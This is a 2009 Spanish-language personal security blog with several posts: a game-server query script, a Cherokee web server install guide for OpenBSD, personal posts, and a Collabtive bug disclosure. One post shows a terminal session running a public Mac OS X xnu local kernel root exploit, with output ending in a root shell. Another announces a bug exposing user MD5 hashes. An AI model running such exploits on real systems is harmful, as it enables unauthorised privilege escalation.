lunes, 18 de mayo de 2009

Aveces quiero entrar a jugar a UT Colombia, pero no se si estará lleno el servidor o si estarán conectados ciertos jugadores y bueno, conectarse y desconectarse toma un tiempo. Entonces empece a leer sobre el protocolo que usa el servidor de juegos y como resultdo saque este mini script para saber si hay cupo o nó?, te animas a hacerlo mas completo?

bash-3.2# cat ut2.py
#!/usr/bin/python
#
#codeb by nonroot -- domain public license ---
#May 2009
"""
La consulta al servidor devuelve algo asi:
La respuesta es '['\xff\xff\xff\xffinfoResponse\n', 'game', 'q3ut4', 'maxPing', '180', 'pure', '1', 'gametype', '7', 'sv_maxclients', '16', 'clients', '16', 'mapname',
'ut4_harbortown', 'hostname', 'Ubuntu-Colombia CTF Server', 'protocol', '68']'
Para estudiar mas acerca del protocolo de red quake 3 68, puedes leer:
http://www.tilion.org.uk/Games/Quake_3/Network_Protocol
y puedes hacer lo que se te ocurra con el server :p
"""
from sys import argv, exit
from socket import *
import re, string

#servidor de UT
servidor="200.85.231.152"

#puerto del servidor
puerto=27960

#creo el socket UDP
sock = socket(AF_INET, SOCK_DGRAM)

#envio la peticion
sock.sendto('\xFF\xFF\xFF\xFFgetinfo',(servidor,puerto))

#recibo la respuesta
resp, server = sock.recvfrom(1024)

#separo los campos segun el formato que devuelve el servidor
datos=re.split(r"[\\]+",resp)

texto=">>>\n"
texto+="El servidor Ubuntu Colombia soporta: "+datos[10]+ " usuarios.\n"
texto+="Hay "+ str(int(datos[10])-int(datos[12]))+ " cupos disponibles para jugar.\n"
texto+="El mapa actual es: "+datos[14]+".\n"
texto+=">>>\n"

print texto

#cierro el socket de conexion UDP
sock.close()
bash-3.2#
¿Como se usa?

bash-3.2# python ut2.py
>>>
El servidor Ubuntu Colombia soporta: 16 usuarios.
Hay 1 cupos disponibles para jugar.
El mapa actual es: ut4_mandolin.
>>>

bash-3.2#
Espero que les sirva para algo ;)

domingo, 17 de mayo de 2009

MacOSX too!

imac-de-fernando-quintero:~ fernandoquintero$ nano exp.c
imac-de-fernando-quintero:~ fernandoquintero$ gcc -o exp exp.c
imac-de-fernando-quintero:~ fernandoquintero$ mv exp xnu-hfs-fcntl-v2
imac-de-fernando-quintero:~ fernandoquintero$ nano exp.sh
imac-de-fernando-quintero:~ fernandoquintero$ sh exp.sh
-en Apple MACOS X xnu <= 1228.x local kernel root exploit by:
http://www.digit-labs.org/ -- Digit-Labs 2008!@


-n * creating diskimage...
done
-n * attaching/mounting diskimage...
done
-e * executing exploit...

Apple MACOS X xnu <= 1228.x local kernel root exploit by:
http://www.digit-labs.org/ -- Digit-Labs 2008!@$!

* getattrlist...done
** attrlist length: 36
** fndrinfo:
* done

* setattrlist...done
* overwriting @0x0050770C
* done

* setattrlist...done
* overwriting @0x00507998
** sysent[21].sy_call: 0x0050770C
* done

* jumping...done

* getuid(): 0
+Wh00t

bash-3.2# id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),102(com.apple.sharepoint.group.2),101(com.apple.sharepoint.group.1),4(tty),103(com.apple.sharepoint.group.3),5(operator),80(admin),20(staff)
bash-3.2#

Y para salir?, un exploit decente:

bash-3.2# touch file
bash-3.2# ls -la file
-rw-r--r-- 1 root staff 0 May 17 23:43 file
bash-3.2# exit
exit
-n * detaching/unmounting diskimage...
done
imac-de-fernando-quintero:~ fernandoquintero$


LOL

Moving a library at home

Todos sabemos lo difícil que es realizar una migración, siempre nos vamos a encontrar con problemas de compatibilidad de versiones, de sistemas operativos, de usuarios, de tiempo, dinero, etc, etc, etc. Pero una vez realizada la migración podemos sentirnos bien, pues las cosas deberían funcionar mejor de ahí en adelante (todo con un adecuado soporte).

Esta entrada en el blog la hago para felicitar a mi familia por la migración que hemos realizado durante los últimos (010) días, hemos peleado con el polvo, la suciedad, los libros, la madera, el cableado y etc. Con paciencia todo se logra ;)

¿Que pensaron?, ¿que sería un post técnico?

Fig 1. Versión 1.0 de la biblioteca (Beta)


Fig 2. Versión 2.0 de la biblioteca (Stable) - está en el SVN

sábado, 16 de mayo de 2009

National Survey of Digital Literacy

Hace unos días se viene solicitando por diferentes medios que contribuyamos respondiendo a una encuesta de carácter nacional relacionada con el tema de alfabetización tecnológica. Pues bueno, por fin saqué los 5 minutos y la llené, me pareció interesante el formato de la encuesta y la rapidez en su desarrollo. Los invito a que entren a este sitio: http://encuesta.e-ciudadano.org y participen.

Aquí están mis resultados, los que me tranquilizan porque al menos en Colombia parezco no ser un analfabeta tecnológico ;).

Fig 1. Resultados de la encuesta

viernes, 15 de mayo de 2009

Cherokee 0.99.15 on OpenBSD 4.5

Cherokee es considerado por muchos el servidor web mas rápido que existe, aún no esta en su versión estable, pero ya se comporta como si lo estuviera. Hace un tiempo trabajé en el port para tener cherokee en OpenBSD, el día de hoy he estado compilando y aplicando unos parches para que la última release, la versión 0.99.15 pueda correr sin problemas en OpenBSD.

A continuación describo el procedimiento para todos aquellos que quieran experimentar esta excelente aplicación en este excelente sistema operativo :)

1. Instale cherokee en su OpenBSD sin necesidad de compilar los ports de la versión "current", para esto use el siguiente paquete binario:

http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz

de la siguiente forma:

# uname -a
OpenBSD astrid.nonroot.org 4.5 GENERIC#1749 i386
# pkg_add -v http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz
parsing http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz
Dependencies for cherokee-0.99.15 resolve to: pcre-7.8, spawn-fcgi-1.6.2 (todo: pcre-7.8,spawn-fcgi-1.6.2)
cherokee-0.99.15:parsing pcre-7.8
found libspec c.50.1 in /usr/lib
cherokee-0.99.15:pcre-7.8: complete
cherokee-0.99.15:parsing spawn-fcgi-1.6.2
found libspec c.50.1 in /usr/lib
cherokee-0.99.15:spawn-fcgi-1.6.2: complete
found libspec c.50.1 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec pcre.2.2 in package pcre-7.8
found libspec pthread.11.1 in /usr/lib
found libspec ssl.14.0 in /usr/lib
adding group _cherokee
adding user _cherokee
installed /etc/cherokee/cherokee.conf from /usr/local/share/examples/cherokee/etc/cherokee.conf****************************************************************************** | 99%
installed /var/cherokee/images/cherokee-logo.png from /usr/local/share/examples/cherokee/www/images/cherokee-logo.png*********************************************************| 100%
installed /var/cherokee/images/default-bg.png from /usr/local/share/examples/cherokee/www/images/default-bg.png
installed /var/cherokee/images/powered_by_cherokee.png from /usr/local/share/examples/cherokee/www/images/powered_by_cherokee.png
installed /var/cherokee/index.html from /usr/local/share/examples/cherokee/www/index.html
installed /var/log/cherokee/cherokee.access from /usr/local/share/examples/cherokee/www/index.html
installed /var/log/cherokee/cherokee.error from /usr/local/share/examples/cherokee/www/index.html
cherokee-0.99.15: complete
--- cherokee-0.99.15 -------------------
To complete the installation, you need to configure cherokee. As root:
# cherokee-admin -b [IP]
(where IP is a trusted IP used to configure your web server)

If you want to run cherokee on boot, add these lines to /etc/rc.local:

if [ X"${cherokee_flags}" != X"NO" ]; then
echo -n ' cherokee'
/usr/local/sbin/cherokee-guardian ${cherokee_flags} 1> /dev/null
fi

for admin management:

if [ X"${cherokee-admin_flags}" != X"NO" ]; then
echo -n ' cherokee-admin'
/usr/local/sbin/cherokee-admin ${cherokee-admin_flags} 1> /dev/null &
fi

and in /etc/rc.conf.local :

cherokee_flags="-d" # use -d to run in daemon mode
cherokee-admin_flags=NO # use -b if you want listen on ALL interfaces
#
Como puede ver solo ejecutamos un comando y ya tenemos instalado cherokee en nuestra maquina (todas las dependencias son descargadas desde el mismo sitio, asi que no hay problema).

2. Al finalizar la instalación sale un mensaje informativo, donde nos explican que si queremos hacer que cherokee se inicie en cada arranque de sistema debemos agregar unas líneas a los archivos de arranque, si no lo queremos hacer, podemos obviar este paso.

Al final del archivo /etc/rc.local agregamos las siguientes líneas:

if [ X"${cherokee_flags}" != X"NO" ]; then
echo -n ' cherokee'
/usr/local/sbin/cherokee-worker ${cherokee_flags} 1> /dev/null
fi

if [ X"${cherokee-admin_flags}" != X"NO" ]; then
echo -n ' cherokee-admin'
/usr/local/sbin/cherokee-admin ${cherokee-admin_flags} 1> /dev/null &
fi
Esto logra que el sistema de arranque evalue la posibilidad de arrancar el servidor web cherokee o su interfaz de configuración, validando las variables cherokee_flags y cherokee-admin_flags.

El siguiente paso es agregar al archivo /etc/rc.conf.local las variables que determinan el arranque.

cherokee_flags="-d" # use -d to run in daemon mode
cherokee-admin_flags=NO # use -b if you want listen on ALL interfaces
Si las dejas así como estan, cherokee iniciará, pero no cargará su interfaz de configuración, esta es la opción RECOMENDADA.

NOTA: Se dió cuenta del cambio de la palabra guardian por worker?, esto es porque en el paquete de instalación aún no he corregido algunas cosas, entonces tenga en cuenta que para subir cherokee no debe usar el comando cherokee-guardian sino cherokee-worker.

3. Ahora solo nos queda probar entrando a la IP de la maquina que tiene el servicio instalado.


Fig 1. Página de bienvenida de cherokee

Bien, ahora teniendo cherokee instalado seguro va a querer probar la interfaz de configuración, para esto es necesario instalar otro paquete adicional, puesto que toda la interfaz esta programada en python. Si ya tienes python en tu sistema, no será necesario este paso.

# pkg_add -v ftp://ftp.openbsd.org/pub/OpenBSD/4.5/packages/i386/python-2.5.4.tgz
parsing ftp://ftp.openbsd.org/pub/OpenBSD/4.5/packages/i386/python-2.5.4.tgz
Dependencies for python-2.5.4 resolve to: sqlite3-3.6.10, bzip2-1.0.5 (todo: bzip2-1.0.5,sqlite3-3.6.10)
python-2.5.4:parsing bzip2-1.0.5
found libspec c.50.1 in /usr/lib
python-2.5.4:bzip2-1.0.5: complete
python-2.5.4:parsing sqlite3-3.6.10
found libspec c.50.1 in /usr/lib
found libspec ncurses.10.0 in /usr/lib
found libspec pthread.11.1 in /usr/lib
found libspec readline.3.0 in /usr/lib
python-2.5.4:sqlite3-3.6.10: complete
found libspec bz2.10.4 in package bzip2-1.0.5
found libspec c.50.1 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec expat.9.0 in /usr/lib
found libspec m.5.0 in /usr/lib
found libspec ncurses.10.0 in /usr/lib
found libspec ossaudio.3.1 in /usr/lib
found libspec panel.3.0 in /usr/lib
found libspec pthread.11.1 in /usr/lib
found libspec readline.3.0 in /usr/lib
found libspec sqlite3.13.0 in package sqlite3-3.6.10
found libspec ssl.14.0 in /usr/lib
found libspec stdc++.47.0 in /usr/lib
found libspec util.11.0 in /usr/lib
found libspec z.4.1 in /usr/lib
python-2.5.4: complete
--- python-2.5.4 -------------------
If you want to use this package as your default system python, as root
create symbolic links like so (overwriting any previous default):
ln -sf /usr/local/bin/python2.5 /usr/local/bin/python
ln -sf /usr/local/bin/python2.5-config /usr/local/bin/python-config
ln -sf /usr/local/bin/pydoc2.5 /usr/local/bin/pydoc
# ln -sf /usr/local/bin/python2.5 /usr/local/bin/python
# ln -sf /usr/local/bin/python2.5-config /usr/local/bin/python-config
# ln -sf /usr/local/bin/pydoc2.5 /usr/local/bin/pydoc

Instalamos el paquete desde el repositorio oficial y luego creamos los enlaces simbolicos que nos sugieren. Despues de esto ya podemos habilitar la interfaz de configuración, para esto ejecutamos el siguiente comando:

# cherokee-admin -b

Login:
User: admin
One-time Password: 4X8VkNyPAjYpW7op

Web Interface:
URL: http://localhost:9090/

Cherokee Web Server 0.99.15 (May 15 2009): Listening on port ALL:9090, TLS
disabled, IPv6 disabled, using poll, 128 fds system limit, max. 57
connections, caching I/O, single thread
Vas a observar que el cherokee nos da información acerca de la contraseña que necesitaremos para ingresar al sistema, copia esta contraseña y usala cuando entres al sitio web.

Fig 2. Ingreso a la interfaz de configuración de cherokee

Puede ser que al intentar entrar en la interfaz de administración obtengas este error:

Este error se presenta cuando no tenemos python instalado en el sistema o no hemos creado adecuadamente los enlaces simbolicos que nos sugieren. Por el contrario, si todo marcha bien, veremos algo así:

Fig 3. Interfaz de configuración de cherokee

Todos los cambios realizados en la interfaz web se verán reflejados en el archivo /etc/cherokee/cherokee.conf, tambien recuerda que para agregar contenido a tu sitio web puedes usar el directorio /var/cherokee mas conocido como el "DocumentRoot".

Y bueno para terminar, si requieres usar alguno de los complementos de cherokee, por ejemplo el validador de mysql o ldap puedes instalar los paquetes adicionales, por ejemplo, para instalar el soporte de autenticación contra un servidor LDAP, puedes instalar el paquete así:

# pkg_add -v http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-ldap-0.99.15.tgz
parsing http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-ldap-0.99.15.tgz
Dependencies for cherokee-ldap-0.99.15 resolve to: openldap-client-2.3.43, cherokee-0.99.15 (todo: openldap-client-2.3.43)
cherokee-ldap-0.99.15:parsing openldap-client-2.3.43
Dependencies for openldap-client-2.3.43 resolve to: cyrus-sasl-2.1.22p4 (todo: cyrus-sasl-2.1.22p4)
cherokee-ldap-0.99.15:parsing cyrus-sasl-2.1.22p4
found libspec asn1.16.0 in /usr/lib
found libspec c.50.1 in /usr/lib
found libspec com_err.16.0 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec gssapi.5.0 in /usr/lib
found libspec krb5.16.0 in /usr/lib
cherokee-ldap-0.99.15:cyrus-sasl-2.1.22p4: complete
found libspec asn1.16.0 in /usr/lib
found libspec c.50.1 in /usr/lib
found libspec com_err.16.0 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec gssapi.5.0 in /usr/lib
found libspec krb5.16.0 in /usr/lib
found libspec sasl2.2.22 in package cyrus-sasl-2.1.22p4
found libspec ssl.14.0 in /usr/lib
installed /etc/openldap/ldap.conf from /usr/local/share/examples/openldap/ldap.conf******************************************************************** | 82%
cherokee-ldap-0.99.15:openldap-client-2.3.43: complete
found libspec asn1.16.0 in /usr/lib
found libspec com_err.16.0 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec gssapi.5.0 in /usr/lib
found libspec krb5.16.0 in /usr/lib
found libspec lber.9.1 in package openldap-client-2.3.43
found libspec ldap.9.1 in package openldap-client-2.3.43
found libspec sasl2.2.22 in package cyrus-sasl-2.1.22p4
found libspec ssl.14.0 in /usr/lib
cherokee-ldap-0.99.15: complete
#

Eso es todo, dudas, sugerencias en los comentarios.

Buena energia para el proyecto cherokee y larga vida a OpenBSD !

miércoles, 13 de mayo de 2009

Bug and Exploit for Collabtive


Existe un proyecto llamado collabtive que nos permite gestionar proyectos, el soft es bonito y tiene algunas features interesantes. Como lo estoy usando y segun la politica interna (mia) #456 que dice: "Debes auditar todo el código de los proyectos que uses ...", decidí darle un chequeo a la aplicación en el sistema de validación y encontre que todo estaba bien!, deprimido por no haber encontrado nada, decidí comerme un manimoto® y abrir un enlace al archivo API y bueno, ya conocen el resto ...

El bug fué informado, sin embargo puede que los desarrolladores no consideren importante que se puedan ver los usuarios y hashes MD5 de la BD que usa el soft.

En fin, la moraleja es que los archivos que no estan ligados directamente a la autenticación o el manejo de sesiones, deben estar igual de protegidos contra posibles entradas inesperadas.

Queda como tarea de johana explicar el error en la llamada de la API.

Saludos.

pd: AHH!, quieren ver la salida?: click here.

pd2: Por favor no usen ESTE sitio para romper el MD5, no les va a funcionar.

pd3: En guindows no funciona el bug de la misma forma, pero es posible explotarlo, porque?, porque?

Entradas populares